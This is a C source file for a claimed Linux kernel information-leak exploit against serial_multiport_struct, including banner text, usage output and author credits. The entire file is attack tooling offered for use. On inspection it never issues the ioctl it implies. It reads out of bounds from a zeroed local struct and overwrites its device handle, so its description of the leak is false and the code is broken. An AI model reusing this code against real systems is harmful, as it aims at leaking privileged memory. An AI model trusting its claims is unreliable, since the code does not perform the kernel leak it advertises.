74 lines
No EOL
2 KiB
C
74 lines
No EOL
2 KiB
C
/* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
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*
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* ./splitmilk2 leak 134514859
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* [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
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* [\m/] by Todor Donev
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* [x] Leakfile : leak
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* [x] Reservedsize : 134514859
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* [+] Leaking.. =)
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* ...
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*
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*
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* Greets to prdelka,
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* for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit
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*
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* Thanks to Tsvetelina Emirska,
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* that support, respect and inspire me..
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*
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* Yes, I know thats lame, but I was so bored and lazy for better.
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*
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* Author: Todor Donev
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* Author email: [todor.donev@gmail]
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <fcntl.h>
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#include <termios.h>
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#include <linux/serial.h>
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#define DEVICE "/dev/ttyS1"
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int main(int argc, char* argv[]) {
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int ret = 0;
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int i, fd, reservedsize;
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char* buf;
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struct serial_multiport_struct buffer;
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printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
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printf("[\\m/] by Todor Donev\n");
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fd = open(DEVICE, O_RDONLY);
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if (fd <0) {
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printf("[-] Error: f0k\n");
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exit(-1);
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}
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if (argc < 2) {
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fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
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exit(-1);
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}
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if (argc > 2)
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if ((reservedsize = atoi(argv[2])) == 0) {
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fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
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exit(-1);
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}
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fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
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fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
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if ((buf = (char *)malloc(reservedsize)) == NULL) {
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perror("Sorry: (malloc)");
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fprintf(stderr, " [-] Sorry: Try again with other output size\n");
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exit(1);
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}
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memset(&buffer,0,sizeof(buffer));
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printf("[+] Leaking.. =)\n");
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if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
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printf("[-] Error: f0k =(\n");
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exit(-1);
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}
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for(i=0;i<=reservedsize;i++){
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ret += write(fd,&buffer.reserved[i],sizeof(int));
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}
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close(fd);
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printf("\\o/ %d bytez\n",ret);
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exit(0);
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} |